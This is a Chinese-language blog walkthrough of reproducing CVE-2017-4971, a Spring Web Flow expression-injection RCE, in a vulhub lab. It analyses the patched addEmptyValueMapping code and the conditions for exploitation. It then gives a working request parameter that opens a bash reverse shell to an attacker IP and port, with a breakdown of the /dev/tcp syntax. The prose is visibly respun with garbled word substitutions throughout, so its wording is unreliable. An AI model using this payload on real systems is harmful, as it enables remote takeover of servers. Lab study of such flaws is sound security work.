环境的设置
kali上安装好docker,再拉取vulhub就可以,在vulhub内里找相应的漏洞打开就行。
对漏洞的明白
靶场搭建好就可以直接进行复现了。复现前我们先明白一下这个漏洞产生的缘故原由。
先了解一下Spring Web Flow
它是一个web框架,适用于元素按照规定流程运行的程序。它是构建于Spring MVC上的。
Spring官网中的解释是:
- 有一个明白的开始和竣事点。
- 用户必须按特定顺序浏览一组屏幕。
- 直到末了一步,更改才会完成。
- 一旦完成,就不可能意外地重复交易。
这次我们这个漏洞就是符合这个情况的,一个酒店预订系统,有一个明白的开始和竣事点,而且必须按照给定的顺序执行。
我们对RCE也了解点
rce漏洞是可以让攻击者直接向配景服务器长途注入操作系统或者下令来得到一些权限。这种漏洞一样平常须要知道网站源码,进行分析挖掘。
rce漏洞基础知识链接:RCE代码及下令执行(详解)_rce下令执行-CSDN博客
漏洞复现过程
源码分析
从题目运行起来可以知道这是一个订阅酒店的系统应该。
想直接了解这个补丁的去这个链接就行。
Use fixed parser for empty value binding expressions · spring-projects/spring-webflow@57f2ccb · GitHub
从这个补丁发现对addEmptyValueMapping(DefaultMapper mapper, String field, Object model) 这个方法内里的表达式解析的类进行了替换。
直接使用了BeanWrapperExpressionParser 来解析。
然后我找到有两个函数调用了 addEmptyValueMapping 方法
- addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model)
- addModelBindings(DefaultMapper mapper, Set parameterNames, Object model)
发现 bind 方法间接的调用了 addEmptyValueMapping 函数。
因为从补丁修复的地方知道,addEmptyValueMapping函数存在表达式执行的点,我们下来分析一下这个函数
它吸收三个参数:
- DefaultMapper类型的mapper
- String类型的field,表示要操作的字段名之类的字符串信息。
- Object类型的model,通常可以明白为包含数据的某个模型对象,可能是业务范畴中的实体类实例等,用于从中获取干系数据或者基于它来做映射操作。
从参数和函数里写的调用方法可以发现主要控制field参数来触发漏洞,下面我们就去找有什么地方可以控制filed参数来执行恶意代码。我们再归去看我们刚刚发现用addEmptyValueMappingd
这个函数的那2个函数,发现addDefaultMappings 函数中用到了这个field,我们应该可以控制这个函数中的field来得到web权限。
结果就是,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个设置文件,由设置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。以是触发漏洞条件有两个:
(1)binder节点为空;
(2) useSpringBeanBinding 默认值(false)未修改。
漏洞的利用
知道了上面源码的要求条件,我们来构造恶意参数。
- _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.2.90.209/10086+0>%261")).start()=vulfocus
复制代码 输出重定向到对应的地点和端口
bash -i
| 产生一个bash交互环境。
| >&
| 将联合符号前面的内容与后面相联合,然后一起重定向给后者。
| /dev/tcp/47.xxx.xxx.72/2333
| Linux环境中所有的内容都是以文件的形式存在的,实在各人一瞥见这个内容就能明白,就是让目的主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
|
参数里有下划线的缘故原由是,上述源代码中有一个判断函数,函数的判断条件中有一个_。
漏洞复现
打开靶场
docker ps来查看端口
先监听我们想到监听的端口。
我们输入干系的端口和ip进入到网站里。
就顺着提示的操作做到末了预定那一块
点击confirm按钮,加入恶意参数反弹shell
末了拿到webshell,复现完成。
影响版本: Spring Web Flow 2.4.0 to 2.4.4
修复的发起就是升级Spring Web Flow版本为更高的版本。
学习链接
附上我学习看的大佬链接
https://paper.seebug.org/322/
视频链接
【漏洞复现与分析(2)CVE-2017-4971】漏洞复现与分析(2)CVE-2017-4971_哔哩哔哩_bilibili
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |